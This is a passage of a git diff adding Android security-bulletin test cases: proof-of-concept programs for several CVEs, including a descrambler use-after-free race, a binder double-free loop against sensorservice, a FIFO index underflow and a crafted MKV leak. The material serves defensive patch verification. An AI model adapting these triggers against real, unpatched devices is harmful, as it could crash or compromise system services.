+ // point all threads will run descramble.
+ pthread_barrier_wait(&barrier);
+
+ // While the threads are running descramble, change the descrambler session
+ // to session2. Hopefully this will cause a use-after-free through a race
+ // condition, session1's reference count will drop to 0 so it will be
+ // released, but one thread will still run descramble on the released
+ // session.
+ FAIL_CHECK(descrambler->setMediaCasSession(session2) == Status::OK);
+
+ // Go over thread results
+ for (size_t i = 0; i < THREADS_NUM; i++) {
+ thread_result_t thread_result;
+ FAIL_CHECK(pthread_join(threads[i], (void **)&thread_result) == 0);
+ if (thread_result == RESULT_CRASH) {
+ return EXIT_VULNERABLE;
+ }
+ }
+
+ // Cleanup
+ FAIL_CHECK(cas->closeSession(session2) == Status::OK);
+ FAIL_CHECK(pthread_barrier_destroy(&barrier) == 0);
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.mk
new file mode 100644
index 0000000..556e735
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-1988
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/skia/include/codec
+LOCAL_C_INCLUDES += external/skia/include/core
+LOCAL_C_INCLUDES += frameworks/native/libs/nativewindow/include
+LOCAL_C_INCLUDES += frameworks/native/libs/arect/include
+LOCAL_SHARED_LIBRARIES := libhwui
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DCHECK_OVERFLOW -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
new file mode 100644
index 0000000..a8b5da6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SkAndroidCodec.h"
+#include "SkBitmap.h"
+#include "SkCanvas.h"
+#include "SkData.h"
+#include "SkSurface.h"
+
+#include <fstream>
+#include <iostream>
+#include "../includes/memutils.h"
+
+#define SAMPLE_SIZE 6
+char enable_selective_overload = ENABLE_NONE;
+
+int decode(sk_sp<SkData> bytes, uint8_t sampleSize) {
+ auto codec = SkAndroidCodec::MakeFromData(bytes);
+ if (!codec) {
+ return EXIT_FAILURE;
+ }
+
+ auto size = codec->getSampledDimensions(sampleSize);
+ auto info = SkImageInfo::MakeN32Premul(size);
+ SkBitmap bm;
+ if (!bm.tryAllocPixels(info)) {
+ return EXIT_FAILURE;
+ }
+
+ SkAndroidCodec::AndroidOptions options;
+ options.fSampleSize = sampleSize;
+
+ codec->getAndroidPixels(bm.info(), bm.getPixels(), bm.rowBytes(), &options);
+ return EXIT_SUCCESS;
+}
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ std::ifstream inFile(argv[1]);
+ if (!inFile) {
+ return EXIT_FAILURE;
+ }
+ inFile.seekg(0, inFile.end);
+ size_t size = inFile.tellg();
+ if (size < 1) {
+ inFile.close();
+ return EXIT_FAILURE;
+ }
+ inFile.seekg(0, inFile.beg);
+ enable_selective_overload = ENABLE_ALL;
+ uint8_t *data = (uint8_t *)malloc(size);
+ if (!data) {
+ return EXIT_FAILURE;
+ }
+ inFile.read(reinterpret_cast<char *>(data), size);
+ auto bytes = SkData::MakeWithoutCopy(data, size);
+ bytes = SkData::MakeSubset(bytes.get(), 1, size - 1);
+ int ret = decode(bytes, SAMPLE_SIZE);
+ enable_selective_overload = ENABLE_NONE;
+ inFile.close();
+ free(data);
+ return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/Android.mk
new file mode 100644
index 0000000..000c4c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2007
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := frameworks/av/media/libaaudio/src
+LOCAL_SHARED_LIBRARIES := libaaudio
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror -Wno-constant-conversion
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/poc.cpp
new file mode 100644
index 0000000..b7db061
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/poc.cpp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "fifo/FifoBuffer.h"
+#include "fifo/FifoController.h"
+#include "../includes/common.h"
+#include <stdlib.h>
+#define CAPACITY 83
+#define THRESHOLD 47
+#define NUM_FRAMES -9999999999
+
+using android::FifoController;
+
+int main (){
+ FifoController fifoController(CAPACITY, THRESHOLD);
+ fifoController.advanceReadIndex(NUM_FRAMES);
+ fifoController.advanceWriteIndex(NUM_FRAMES);
+ int32_t readIndex = fifoController.getReadIndex();
+ int32_t writeIndex = fifoController.getWriteIndex();
+
+ if ((readIndex < 0) || (writeIndex < 0)) {
+ return EXIT_VULNERABLE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
new file mode 100644
index 0000000..9e62920
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2019-2025
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libutils \
+ liblog \
+ libcutils \
+ libsensor \
+ libbase \
+ libbinder \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
new file mode 100644
index 0000000..38169fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2005 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_IPC_THREAD_STATE_H
+#define ANDROID_IPC_THREAD_STATE_H
+
+#include <utils/Errors.h>
+#include <binder/Parcel.h>
+#include <binder/ProcessState.h>
+#include <utils/Vector.h>
+
+#if defined(_WIN32)
+typedef int uid_t;
+#endif
+
+// ---------------------------------------------------------------------------
+namespace android {
+
+class IPCThreadState
+{
+public:
+ static IPCThreadState* self();
+ static IPCThreadState* selfOrNull(); // self(), but won't instantiate
+
+ sp<ProcessState> process();
+
+ status_t clearLastError();
+
+ pid_t getCallingPid() const;
+ uid_t getCallingUid() const;
+
+ void setStrictModePolicy(int32_t policy);
+ int32_t getStrictModePolicy() const;
+
+ void setLastTransactionBinderFlags(int32_t flags);
+ int32_t getLastTransactionBinderFlags() const;
+
+ int64_t clearCallingIdentity();
+ void restoreCallingIdentity(int64_t token);
+
+ int setupPolling(int* fd);
+ status_t handlePolledCommands();
+ void flushCommands();
+
+ void joinThreadPool(bool isMain = true);
+
+ // Stop the local process.
+ void stopProcess(bool immediate = true);
+
+ status_t transact(int32_t handle,
+ uint32_t code, const Parcel& data,
+ Parcel* reply, uint32_t flags);
+
+ void incStrongHandle(int32_t handle, BpBinder *proxy);
+ void decStrongHandle(int32_t handle);
+ void incWeakHandle(int32_t handle, BpBinder *proxy);
+ void decWeakHandle(int32_t handle);
+ status_t attemptIncStrongHandle(int32_t handle);
+ static void expungeHandle(int32_t handle, IBinder* binder);
+ status_t requestDeathNotification( int32_t handle,
+ BpBinder* proxy);
+ status_t clearDeathNotification( int32_t handle,
+ BpBinder* proxy);
+
+ static void shutdown();
+
+ // Call this to disable switching threads to background scheduling when
+ // receiving incoming IPC calls. This is specifically here for the
+ // Android system process, since it expects to have background apps calling
+ // in to it but doesn't want to acquire locks in its services while in
+ // the background.
+ static void disableBackgroundScheduling(bool disable);
+ bool backgroundSchedulingDisabled();
+
+ // Call blocks until the number of executing binder threads is less than
+ // the maximum number of binder threads threads allowed for this process.
+ void blockUntilThreadAvailable();
+ static void freeBuffer(Parcel* parcel,
+ const uint8_t* data, size_t dataSize,
+ const binder_size_t* objects, size_t objectsSize,
+ void* cookie);
+ static void freeBuffer1(Parcel* parcel,
+ const uint8_t* data, size_t dataSize,
+ const binder_size_t* objects, size_t objectsSize,
+ void* cookie);
+private:
+ IPCThreadState();
+ ~IPCThreadState();
+
+ status_t sendReply(const Parcel& reply, uint32_t flags);
+ status_t waitForResponse(Parcel *reply,
+ status_t *acquireResult=NULL);
+ status_t talkWithDriver(bool doReceive=true);
+ status_t writeTransactionData(int32_t cmd,
+ uint32_t binderFlags,
+ int32_t handle,
+ uint32_t code,
+ const Parcel& data,
+ status_t* statusBuffer);
+ status_t getAndExecuteCommand();
+ status_t executeCommand(int32_t command);
+ void processPendingDerefs();
+ void processPostWriteDerefs();
+
+ void clearCaller();
+
+ static void threadDestructor(void *st);
+
+ const sp<ProcessState> mProcess;
+ Vector<BBinder*> mPendingStrongDerefs;
+ Vector<RefBase::weakref_type*> mPendingWeakDerefs;
+ Vector<RefBase*> mPostWriteStrongDerefs;
+ Vector<RefBase::weakref_type*> mPostWriteWeakDerefs;
+ Parcel mIn;
+ Parcel mOut;
+ status_t mLastError;
+ pid_t mCallingPid;
+ uid_t mCallingUid;
+ int32_t mStrictModePolicy;
+ int32_t mLastTransactionBinderFlags;
+};
+
+}; // namespace android
+
+// ---------------------------------------------------------------------------
+
+#endif // ANDROID_IPC_THREAD_STATE_H
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
new file mode 100644
index 0000000..48ece98
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
@@ -0,0 +1,183 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+
+#if _64BIT
+
+#include <cutils/ashmem.h>
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <linux/futex.h>
+#include <pthread.h>
+#include <sensor/ISensorEventConnection.h>
+#include <sensor/ISensorServer.h>
+#include <sensor/Sensor.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/prctl.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/xattr.h>
+#include <utils/Vector.h>
+
+#include "IPCThreadState.h"
+#include "binder/IServiceManager.h"
+
+
+using namespace android;
+
+#define SLEEP 0
+#define ATTACK 1
+String8 packageName("hexb1n");
+String16 opPackageName("");
+
+time_t test_started;
+
+static volatile int attack_signal;
+int my_futex(volatile int *uaddr, int op, int val,
+ const struct timespec *timeout, int *uaddr2, int val3) {
+ return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
+}
+
+static void *bcfree_helper(void *p) {
+ (void) p;
+ Parcel data, reply;
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("sensorservice"));
+ sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+ sp<ISensorEventConnection> sensorEventConnection =
+ sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+ opPackageName);
+ while (timer_active(test_started)) {
+ Parcel data, reply;
+ data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+ my_futex(&attack_signal, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
+ usleep(100);
+ IInterface::asBinder(sensorEventConnection)
+ ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+ }
+
+ return NULL;
+}
+
+static void *bcfree(void *p) {
+ (void) p;
+ Parcel data, reply;
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("sensorservice"));
+ sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+ sp<ISensorEventConnection> sensorEventConnection =
+ sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+ opPackageName);
+ while (timer_active(test_started)) {
+ Parcel data, reply;
+ data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+
+ {
+ IInterface::asBinder(sensorEventConnection)
+ ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+ const uint8_t *rmData = reply.data();
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ }
+
+ attack_signal = ATTACK;
+ my_futex(&attack_signal, FUTEX_WAKE_PRIVATE, 1, NULL, NULL, 0);
+ usleep(100);
+ {
+ Parcel data, reply;
+ IInterface::asBinder(sensorEventConnection)
+ ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+ for (int i = 0; i < 20; i++)
+ IInterface::asBinder(sensorEventConnection)
+ ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+ }
+ attack_signal = SLEEP;
+ }
+
+ return NULL;
+}
+
+int main() {
+ pthread_t t1, t2, t3;
+
+ test_started = start_timer();
+
+ pthread_create(&t1, NULL, bcfree_helper, NULL);
+ pthread_create(&t2, NULL, bcfree, NULL);
+ pthread_create(&t3, NULL, bcfree_helper, NULL);
+ pthread_join(t1, NULL);
+ pthread_join(t2, NULL);
+ pthread_join(t3, NULL);
+ return EXIT_SUCCESS;
+}
+
+#else
+int main() {
+ // do nothing on 32-bit because we can't compile on 32-bit and we need a
+ // binary to push or the filepusher will break on 32-bit.
+}
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.mk
new file mode 100644
index 0000000..5e93ae3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2019-2126
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils_track.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libmediaextractor
+LOCAL_C_INCLUDES := frameworks/av/media/libstagefright
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -DCHECK_MEMORY_LEAK
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
new file mode 100644
index 0000000..3006292
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
@@ -0,0 +1,116 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <media/IMediaHTTPService.h>
+#include <media/DataSource.h>
+#include <media/stagefright/DataSourceFactory.h>
+#include <media/MediaExtractor.h>
+#include "../includes/memutils_track.h"
+#include "../includes/common.h"
+
+unsigned char mkvDataStart[] = { 0x1A, 0x45, 0xDF, 0xA3, 0x10, 0x00, 0x00, 0x0A,
+ 0x42, 0x82, 0x10, 0x00, 0x00, 0x04, 0x77, 0x65, 0x62, 0x6D, 0x18, 0x53,
+ 0x80, 0x67, 0x10, 0xF4, 0x24, 0x49, 0x16, 0x54, 0xAE, 0x6B, 0x10, 0xF4,
+ 0x24, 0x41, 0xAE, 0x10, 0xF4, 0x24, 0x3C, 0xD7, 0x81, 0x01, 0x83, 0x81,
+ 0x01, 0xE0, 0x10, 0x00, 0x00, 0x03, 0xB0, 0x81, 0x01, 0x6D, 0x80, 0x10,
+ 0xF4, 0x24, 0x28, 0x62, 0x40, 0x10, 0xF4, 0x24, 0x22, 0x50, 0x34, 0x10,
+ 0xF4, 0x24, 0x19, 0x42, 0x54, 0x81, 0x01, 0x42, 0x55, 0x10, 0xF4, 0x24,
+ 0x00 };
+
+unsigned char mkvDataEnd[] = { 0x42, 0x55, 0x81, 0x61, 0x42, 0x54, 0x88, 0xFF,
+ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x50, 0x35, 0x80 };
+
+#define LEAK_SIZE 16000000
+#define LEAK_DATA 0x61
+#define TMP_FILE "/data/local/tmp/temp_cve_2019_2126"
+#define LIB_NAME "/system/lib64/extractors/libmkvextractor.so"
+using namespace android;
+
+bool is_tracking_required(size_t size) {
+ return (size == LEAK_SIZE);
+}
+
+int main() {
+
+#if _64_BIT
+ FILE* fp = fopen(TMP_FILE, "wb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ char *appendArray = (char *) malloc(LEAK_SIZE);
+ memset(appendArray, LEAK_DATA, LEAK_SIZE * sizeof(char));
+
+ /* Write mkv stream */
+ fwrite(mkvDataStart, 1, sizeof(mkvDataStart), fp);
+
+ /* Append a bitstream which causes memory leak */
+ fwrite(appendArray, 1, LEAK_SIZE, fp);
+ fwrite(mkvDataEnd, 1, sizeof(mkvDataEnd), fp);
+ free((void *) appendArray);
+ fclose(fp);
+
+ void *libHandle = dlopen(LIB_NAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ sp < DataSource > dataSource = DataSourceFactory::CreateFromURI(NULL,
+ TMP_FILE);
+ if (dataSource == nullptr) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ MediaExtractor::GetExtractorDef getDef =
+ (MediaExtractor::GetExtractorDef) dlsym(libHandle,
+ "GETEXTRACTORDEF");
+ if (!getDef) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ MediaExtractor::CreatorFunc creator = NULL;
+ MediaExtractor::FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ creator = getDef().sniff(dataSource.get(), &confidence, &meta, &freeMeta);
+ if (!creator) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ MediaExtractor *ret = creator(dataSource.get(), meta);
+ if (ret == nullptr) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ remove(TMP_FILE);
+ dlclose(libHandle);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.mk
new file mode 100644
index 0000000..9277f41
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2133
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
